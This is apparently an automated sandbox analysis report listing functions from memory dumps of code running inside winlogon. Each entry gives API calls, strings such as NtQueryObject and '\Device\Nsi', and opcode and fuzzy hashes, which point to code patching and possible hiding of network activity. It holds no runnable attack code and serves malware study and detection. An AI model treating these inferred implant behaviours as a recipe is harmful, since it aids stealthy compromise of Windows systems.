Part of subcall function 00000225DC643EC8: VirtualProtectEx.KERNELBASE(?,?,?,?,?,00000225DC643A5B), ref: 00000225DC643F2E
Part of subcall function 00000225DC643EC8: GetCurrentProcess.KERNEL32(?,?,?,?,?,00000225DC643A5B), ref: 00000225DC643F47
Part of subcall function 00000225DC643EC8: VirtualProtectEx.KERNELBASE(?,?,?,?,?,00000225DC643A5B), ref: 00000225DC643F68

CreateThread.KERNELBASE ref: 00000225DC643A8B

Part of subcall function 00000225DC641E74: GetCurrentThread.KERNEL32 ref: 00000225DC641E7F
Part of subcall function 00000225DC641E74: CreateThread.KERNELBASE ref: 00000225DC642043
Part of subcall function 00000225DC641E74: TlsAlloc.KERNEL32 ref: 00000225DC642049
Part of subcall function 00000225DC641E74: TlsAlloc.KERNEL32 ref: 00000225DC642055
Part of subcall function 00000225DC641E74: TlsAlloc.KERNEL32 ref: 00000225DC642061
Part of subcall function 00000225DC641E74: TlsAlloc.KERNEL32 ref: 00000225DC64206D
Part of subcall function 00000225DC641E74: TlsAlloc.KERNEL32 ref: 00000225DC642079
Part of subcall function 00000225DC641E74: TlsAlloc.KERNEL32 ref: 00000225DC642085

Memory Dump Source

Source File: 00000009.00000002.2288484714.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000009.00000002.2287473946.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2289644934.00000225DC655000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2290739430.00000225DC660000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2291868866.00000225DC662000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2292943849.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc640000_winlogon.jbxd

Similarity

API ID: Alloc$CurrentThread$CreateFileModuleNameProcessProtectVirtual$FindHandlePath
String ID:
API String ID: 2779030803-0
Opcode ID: 6a579ca0c7c2c8c467e4d6158b23fada6777a03145598802ad2919fe2a24b2e1
Instruction ID: 130d4905f5eea26d9371d1b1ff51420db667a30803bfba8bb2bd091ed1f53f6f
Opcode Fuzzy Hash: 6a579ca0c7c2c8c467e4d6158b23fada6777a03145598802ad2919fe2a24b2e1
Instruction Fuzzy Hash: F611B13D66CE29B2FB60ABEDE54D7AD3290AB84B47F50C0B99507811D0EF3DC484C600

Function 00000225DC645530 Relevance: 4.5, APIs: 3, Instructions: 23
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00000225DC645534
VirtualProtect.KERNEL32 ref: 00000225DC645577
FlushInstructionCache.KERNEL32 ref: 00000225DC64558C

Memory Dump Source

Source File: 00000009.00000002.2288484714.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000009.00000002.2287473946.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2289644934.00000225DC655000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2290739430.00000225DC660000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2291868866.00000225DC662000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2292943849.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc640000_winlogon.jbxd

Similarity

API ID: CacheCurrentFlushInstructionProcessProtectVirtual
String ID:
API String ID: 3733156554-0
Opcode ID: b3b9d40e5005b69779f21a3a3f4c2159e48617e69c58b355d88cafa2766b084c
Instruction ID: d45715ff951a902dcb5778469b34ec2c1c793993c87c33ab114304a363d5f69f
Opcode Fuzzy Hash: b3b9d40e5005b69779f21a3a3f4c2159e48617e69c58b355d88cafa2766b084c
Instruction Fuzzy Hash: 8DF0173A22DE5491D6309B99E45935A77A1E388BD5F148151FA8E47B69DA38C680CF00

Function 00000225DC641BC4 Relevance: 1.6, APIs: 1, Instructions: 68
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00000225DC641724: GetProcessHeap.KERNEL32 ref: 00000225DC64172F
Part of subcall function 00000225DC641724: HeapAlloc.KERNEL32 ref: 00000225DC64173E
Part of subcall function 00000225DC641724: RegOpenKeyExW.KERNELBASE ref: 00000225DC6417AE
Part of subcall function 00000225DC641724: RegOpenKeyExW.KERNELBASE ref: 00000225DC6417DB
Part of subcall function 00000225DC641724: RegCloseKey.ADVAPI32 ref: 00000225DC6417F5
Part of subcall function 00000225DC641724: RegOpenKeyExW.KERNELBASE ref: 00000225DC641815
Part of subcall function 00000225DC641724: RegCloseKey.KERNELBASE ref: 00000225DC641830
Part of subcall function 00000225DC641724: RegOpenKeyExW.KERNELBASE ref: 00000225DC641850
Part of subcall function 00000225DC641724: RegCloseKey.ADVAPI32 ref: 00000225DC64186B
Part of subcall function 00000225DC641724: RegOpenKeyExW.KERNELBASE ref: 00000225DC64188B
Part of subcall function 00000225DC641724: RegCloseKey.ADVAPI32 ref: 00000225DC6418A6
Part of subcall function 00000225DC641724: RegOpenKeyExW.KERNELBASE ref: 00000225DC6418C6

SleepEx.KERNELBASE ref: 00000225DC641BDF

Part of subcall function 00000225DC641724: RegCloseKey.ADVAPI32 ref: 00000225DC6418E1
Part of subcall function 00000225DC641724: RegOpenKeyExW.KERNELBASE ref: 00000225DC641901
Part of subcall function 00000225DC641724: RegCloseKey.ADVAPI32 ref: 00000225DC64191C
Part of subcall function 00000225DC641724: RegOpenKeyExW.KERNELBASE ref: 00000225DC64193C
Part of subcall function 00000225DC641724: RegCloseKey.ADVAPI32 ref: 00000225DC641957
Part of subcall function 00000225DC641724: RegOpenKeyExW.KERNELBASE ref: 00000225DC641977
Part of subcall function 00000225DC641724: RegCloseKey.ADVAPI32 ref: 00000225DC641992
Part of subcall function 00000225DC641724: RegCloseKey.KERNELBASE ref: 00000225DC64199C

Memory Dump Source

Source File: 00000009.00000002.2288484714.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000009.00000002.2287473946.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2289644934.00000225DC655000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2290739430.00000225DC660000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2291868866.00000225DC662000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2292943849.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc640000_winlogon.jbxd

Similarity

API ID: CloseOpen$Heap$AllocProcessSleep
String ID:
API String ID: 948135145-0
Opcode ID: 04a7d6bb1a63501d3af889adb59d0fd65c45e2a3bb55e477ac55990fbc3a1c41
Instruction ID: 12f4e7bf2d043a765a3ac4f019d2c82d455fc7f3fa1118b40d32223ae48c856c
Opcode Fuzzy Hash: 04a7d6bb1a63501d3af889adb59d0fd65c45e2a3bb55e477ac55990fbc3a1c41
Instruction Fuzzy Hash: 363135AD32CE61A1FB549BAED9583A933A4EB44BC6F04D4A18E0B973D5DF38C850C214

Function 00000225DC64F370 Relevance: 1.5, APIs: 1, Instructions: 11
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE ref: 00000225DC64F390

Memory Dump Source

Source File: 00000009.00000002.2288484714.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000009.00000002.2287473946.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2289644934.00000225DC655000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2290739430.00000225DC660000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2291868866.00000225DC662000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2292943849.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc640000_winlogon.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: b40d5d27bf97adee7439d23d1349d8a0deaf4876dc796fe70c0d47fc6773842e
Instruction ID: 91454ba34573355ff24e871c1f84efd327f9d9e1a896de9ceab491d5d3354271
Opcode Fuzzy Hash: b40d5d27bf97adee7439d23d1349d8a0deaf4876dc796fe70c0d47fc6773842e
Instruction Fuzzy Hash: 4CD01229735950D3E300DF61D8497966328F39C702FD08005E98A82694DF7CC259CB50

Function 00000225DC67F370 Relevance: 1.5, APIs: 1, Instructions: 11
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE ref: 00000225DC67F390

Memory Dump Source

Source File: 00000009.00000002.2295170211.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000009.00000002.2294050318.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2296553686.00000225DC685000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2297617513.00000225DC690000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2298802898.00000225DC692000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2299955606.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc670000_winlogon.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: b40d5d27bf97adee7439d23d1349d8a0deaf4876dc796fe70c0d47fc6773842e
Instruction ID: a9a0868b07df84503d79fe2f89049b18ceebf10007afb1c3b1b6b2ac5b3c783d
Opcode Fuzzy Hash: b40d5d27bf97adee7439d23d1349d8a0deaf4876dc796fe70c0d47fc6773842e
Instruction Fuzzy Hash: 91D01229731950D3F300DF51D8497956328F79C702FD08005E94AC6694DF7CC259CB51

Function 00000225DC6AF370 Relevance: 1.5, APIs: 1, Instructions: 11
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE ref: 00000225DC6AF390

Memory Dump Source

Source File: 00000009.00000002.2302151534.00000225DC6A1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true

Associated: 00000009.00000002.2301041891.00000225DC6A0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2303365598.00000225DC6B5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2304535009.00000225DC6C0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2305591866.00000225DC6C2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2306755785.00000225DC6C9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc6a0000_winlogon.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: b40d5d27bf97adee7439d23d1349d8a0deaf4876dc796fe70c0d47fc6773842e
Instruction ID: 7ad5aa38df14319b72f9190a8d26a325408e50eb3bc4bc849056c1e3cb0de339
Opcode Fuzzy Hash: b40d5d27bf97adee7439d23d1349d8a0deaf4876dc796fe70c0d47fc6773842e
Instruction Fuzzy Hash: 27D01229731950D3E300DF51D8497D56329F3AC702FC08005E94AC2694DF7CC259CB50

Function 00000225DC67D220 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(?,?,00000000,00000225DC67C987), ref: 00000225DC67D275

Memory Dump Source

Source File: 00000009.00000002.2295170211.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000009.00000002.2294050318.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2296553686.00000225DC685000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2297617513.00000225DC690000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2298802898.00000225DC692000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2299955606.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc670000_winlogon.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 065a3c227d1033dd624f9406cc348b017554f0f94b7651207c823ad3d34cd8d2
Instruction ID: 8c995a941c99dfe8ec91a527983bcfb77f5d6b3f54302bc86fbf6d4b88a72ef6
Opcode Fuzzy Hash: 065a3c227d1033dd624f9406cc348b017554f0f94b7651207c823ad3d34cd8d2
Instruction Fuzzy Hash: D1F0B42C306E20B1FF9597ED580C3A412905F99B42F1CDC308E1A8ABC5ED3CC58AC211

Non-executed Functions

Function 00000225DC642FF0 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 256stringlibraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 00000225DC643094
lstrlenW.KERNEL32 ref: 00000225DC6432BE

Part of subcall function 00000225DC641A30: OpenProcess.KERNEL32 ref: 00000225DC641A56
Part of subcall function 00000225DC641A30: K32GetModuleFileNameExW.KERNEL32 ref: 00000225DC641A74
Part of subcall function 00000225DC641A30: PathFindFileNameW.SHLWAPI ref: 00000225DC641A83
Part of subcall function 00000225DC641A30: lstrlenW.KERNEL32 ref: 00000225DC641A8F
Part of subcall function 00000225DC641A30: StrCpyW.SHLWAPI ref: 00000225DC641AA2
Part of subcall function 00000225DC641A30: CloseHandle.KERNEL32 ref: 00000225DC641AB0

GetProcAddress.KERNEL32 ref: 00000225DC6430A9

Part of subcall function 00000225DC643F88: StrCmpNIW.SHLWAPI(?,?,?,00000225DC64272F), ref: 00000225DC643FA0

StrCmpNIW.SHLWAPI ref: 00000225DC6430EC
lstrlenW.KERNEL32 ref: 00000225DC643214

Strings

ntdll.dll, xrefs: 00000225DC64308D
\Device\Nsi, xrefs: 00000225DC6430DF
NtQueryObject, xrefs: 00000225DC64309F

Memory Dump Source

Source File: 00000009.00000002.2288484714.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000009.00000002.2287473946.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2289644934.00000225DC655000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2290739430.00000225DC660000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2291868866.00000225DC662000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2292943849.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc640000_winlogon.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: 4d584b0e9fffbad4cc31b9baeef7d8a5c9f9b6ed13c09f6337f8d347bcf38d45
Instruction ID: 434cbdb0f9c44be8f859e6a92bb332e08f0fb24b8a9ab8c877c5839079a85e8b
Opcode Fuzzy Hash: 4d584b0e9fffbad4cc31b9baeef7d8a5c9f9b6ed13c09f6337f8d347bcf38d45
Instruction Fuzzy Hash: 21B1B27A22CEA8A2EB599FADD408799B3A5F744F86F10D066EE0A53794DF35CC40C340

Function 00000225DC672FF0 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 256stringlibraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 00000225DC673094
lstrlenW.KERNEL32 ref: 00000225DC6732BE

Part of subcall function 00000225DC671A30: OpenProcess.KERNEL32 ref: 00000225DC671A56
Part of subcall function 00000225DC671A30: K32GetModuleFileNameExW.KERNEL32 ref: 00000225DC671A74
Part of subcall function 00000225DC671A30: PathFindFileNameW.SHLWAPI ref: 00000225DC671A83
Part of subcall function 00000225DC671A30: lstrlenW.KERNEL32 ref: 00000225DC671A8F
Part of subcall function 00000225DC671A30: StrCpyW.SHLWAPI ref: 00000225DC671AA2
Part of subcall function 00000225DC671A30: CloseHandle.KERNEL32 ref: 00000225DC671AB0

GetProcAddress.KERNEL32 ref: 00000225DC6730A9

Part of subcall function 00000225DC673F88: StrCmpNIW.SHLWAPI(?,?,?,00000225DC67272F), ref: 00000225DC673FA0

StrCmpNIW.SHLWAPI ref: 00000225DC6730EC
lstrlenW.KERNEL32 ref: 00000225DC673214

Strings

ntdll.dll, xrefs: 00000225DC67308D
\Device\Nsi, xrefs: 00000225DC6730DF
NtQueryObject, xrefs: 00000225DC67309F

Memory Dump Source

Source File: 00000009.00000002.2295170211.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000009.00000002.2294050318.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2296553686.00000225DC685000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2297617513.00000225DC690000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2298802898.00000225DC692000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2299955606.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc670000_winlogon.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: 4d584b0e9fffbad4cc31b9baeef7d8a5c9f9b6ed13c09f6337f8d347bcf38d45
Instruction ID: 6e2edb3a058edf7ed16c8ea7a48cfc632efee82860856a5fe71e9e4b8278a0fc
Opcode Fuzzy Hash: 4d584b0e9fffbad4cc31b9baeef7d8a5c9f9b6ed13c09f6337f8d347bcf38d45
Instruction Fuzzy Hash: 8FB19D7A214EB0A6EB648FADD448799A3A4FB44F96F609426EE0957FD4DF35CC40C340

Function 00000225DC6A2FF0 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 256stringlibraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 00000225DC6A3094
lstrlenW.KERNEL32 ref: 00000225DC6A32BE

Part of subcall function 00000225DC6A1A30: OpenProcess.KERNEL32 ref: 00000225DC6A1A56
Part of subcall function 00000225DC6A1A30: K32GetModuleFileNameExW.KERNEL32 ref: 00000225DC6A1A74
Part of subcall function 00000225DC6A1A30: PathFindFileNameW.SHLWAPI ref: 00000225DC6A1A83
Part of subcall function 00000225DC6A1A30: lstrlenW.KERNEL32 ref: 00000225DC6A1A8F
Part of subcall function 00000225DC6A1A30: StrCpyW.SHLWAPI ref: 00000225DC6A1AA2
Part of subcall function 00000225DC6A1A30: CloseHandle.KERNEL32 ref: 00000225DC6A1AB0

GetProcAddress.KERNEL32 ref: 00000225DC6A30A9

Part of subcall function 00000225DC6A3F88: StrCmpNIW.SHLWAPI(?,?,?,00000225DC6A272F), ref: 00000225DC6A3FA0

StrCmpNIW.SHLWAPI ref: 00000225DC6A30EC
lstrlenW.KERNEL32 ref: 00000225DC6A3214

Strings

ntdll.dll, xrefs: 00000225DC6A308D
NtQueryObject, xrefs: 00000225DC6A309F
\Device\Nsi, xrefs: 00000225DC6A30DF

Memory Dump Source

Source File: 00000009.00000002.2302151534.00000225DC6A1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true

Associated: 00000009.00000002.2301041891.00000225DC6A0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2303365598.00000225DC6B5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2304535009.00000225DC6C0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2305591866.00000225DC6C2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2306755785.00000225DC6C9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc6a0000_winlogon.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: 4d584b0e9fffbad4cc31b9baeef7d8a5c9f9b6ed13c09f6337f8d347bcf38d45
Instruction ID: fa57540a22b82042d2a169ee5b25633e73edf16a6416a5946321ed9c7ec9782f
Opcode Fuzzy Hash: 4d584b0e9fffbad4cc31b9baeef7d8a5c9f9b6ed13c09f6337f8d347bcf38d45
Instruction Fuzzy Hash: 27B1A06A214EA0A2EB64CFAED5087A9B7A5F744F86F64D026EE09D3794DF35CD40C340

Function 00000225DC6484B0 Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00000225DC6484CC
RtlCaptureContext.NTDLL ref: 00000225DC6484F9
RtlLookupFunctionEntry.NTDLL ref: 00000225DC648513
RtlVirtualUnwind.NTDLL ref: 00000225DC648554
IsDebuggerPresent.KERNEL32 ref: 00000225DC6485A8
SetUnhandledExceptionFilter.KERNEL32 ref: 00000225DC6485C5
UnhandledExceptionFilter.KERNEL32 ref: 00000225DC6485D0

Memory Dump Source

Source File: 00000009.00000002.2288484714.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000009.00000002.2287473946.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2289644934.00000225DC655000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2290739430.00000225DC660000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2291868866.00000225DC662000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2292943849.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc640000_winlogon.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 51ce79795580dd11982ca28bc6e50e7f34313ca15137cb51b6721156f23fd73c
Instruction ID: c02b42a4faf89e14a8460b6a51616ff0cfb1c70cf6853425f447978ae3c739dd
Opcode Fuzzy Hash: 51ce79795580dd11982ca28bc6e50e7f34313ca15137cb51b6721156f23fd73c
Instruction Fuzzy Hash: 87318476219F90D6EB608FA4E8483EE7364F788749F54812ADB4E47B98EF38C548C710

Function 00000225DC6784B0 Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00000225DC6784CC
RtlCaptureContext.NTDLL ref: 00000225DC6784F9
RtlLookupFunctionEntry.NTDLL ref: 00000225DC678513
RtlVirtualUnwind.NTDLL ref: 00000225DC678554
IsDebuggerPresent.KERNEL32 ref: 00000225DC6785A8
SetUnhandledExceptionFilter.KERNEL32 ref: 00000225DC6785C5
UnhandledExceptionFilter.KERNEL32 ref: 00000225DC6785D0

Memory Dump Source

Source File: 00000009.00000002.2295170211.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000009.00000002.2294050318.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2296553686.00000225DC685000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2297617513.00000225DC690000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2298802898.00000225DC692000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2299955606.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc670000_winlogon.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 51ce79795580dd11982ca28bc6e50e7f34313ca15137cb51b6721156f23fd73c
Instruction ID: 4afa8d38674c89ef982d105566d5090484a901952933452247f4b34a58aa3c0c
Opcode Fuzzy Hash: 51ce79795580dd11982ca28bc6e50e7f34313ca15137cb51b6721156f23fd73c
Instruction Fuzzy Hash: 4A317076204F9096EB60CFA4E8543EE7360F788749F44852ADB4D57B98EF78C548C710

Function 00000225DC6A84B0 Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00000225DC6A84CC
RtlCaptureContext.NTDLL ref: 00000225DC6A84F9
RtlLookupFunctionEntry.NTDLL ref: 00000225DC6A8513
RtlVirtualUnwind.NTDLL ref: 00000225DC6A8554
IsDebuggerPresent.KERNEL32 ref: 00000225DC6A85A8
SetUnhandledExceptionFilter.KERNEL32 ref: 00000225DC6A85C5
UnhandledExceptionFilter.KERNEL32 ref: 00000225DC6A85D0

Memory Dump Source

Source File: 00000009.00000002.2302151534.00000225DC6A1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true

Associated: 00000009.00000002.2301041891.00000225DC6A0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2303365598.00000225DC6B5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2304535009.00000225DC6C0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2305591866.00000225DC6C2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2306755785.00000225DC6C9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc6a0000_winlogon.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 51ce79795580dd11982ca28bc6e50e7f34313ca15137cb51b6721156f23fd73c
Instruction ID: abab5ad0d1cbc909871ffb4861a123a704d0a8af35f60ddf638a1379e32f25b9
Opcode Fuzzy Hash: 51ce79795580dd11982ca28bc6e50e7f34313ca15137cb51b6721156f23fd73c
Instruction Fuzzy Hash: 4E31827A205F909AEB60CFA4E8443ED7365F78874AF44812ADB4E47B98EF38C548C710

Function 00000225DC64CD80 Relevance: 9.1, APIs: 6, Instructions: 86COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 00000225DC64CE0B
RtlLookupFunctionEntry.NTDLL ref: 00000225DC64CE23
RtlVirtualUnwind.NTDLL ref: 00000225DC64CE5E
IsDebuggerPresent.KERNEL32 ref: 00000225DC64CE97
SetUnhandledExceptionFilter.KERNEL32 ref: 00000225DC64CEA1
UnhandledExceptionFilter.KERNEL32 ref: 00000225DC64CEAC

Memory Dump Source

Source File: 00000009.00000002.2288484714.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000009.00000002.2287473946.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2289644934.00000225DC655000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2290739430.00000225DC660000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2291868866.00000225DC662000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2292943849.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_225dc640000_winlogon.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 76c33bf84c009b7db417edaf83874ce51c27584cf70d0f0be3d694c1c6751581
Instruction ID: 8fa4bbfcba876e14dacda529e4a851805128c227666f69b824544af283890819
Opcode Fuzzy Hash: 76c33bf84c009b7db417edaf83874ce51c27584cf70d0f0be3d694c1c6751581
Instruction Fuzzy Hash: BD41743A218F90E6DB60CF69E84839E73A4F788755F604215EB9D47B98EF38C555CB00

Function 00000225DC67CD80 Relevance: 9.1, APIs: 6, Instructions: 86COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 00000225DC67CE0B
RtlLookupFunctionEntry.NTDLL ref: 00000225DC67CE23
RtlVirtualUnwind.NTDLL ref: 00000225DC67CE5E
IsDebuggerPresent.KERNEL32 ref: 00000225DC67CE97
SetUnhandledExceptionFilter.KERNEL32 ref: 00000225DC67CEA1
UnhandledExceptionFilter.KERNEL32 ref: 00000225DC67CEAC

Memory Dump Source

Source File: 00000009.00000002.2295170211.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

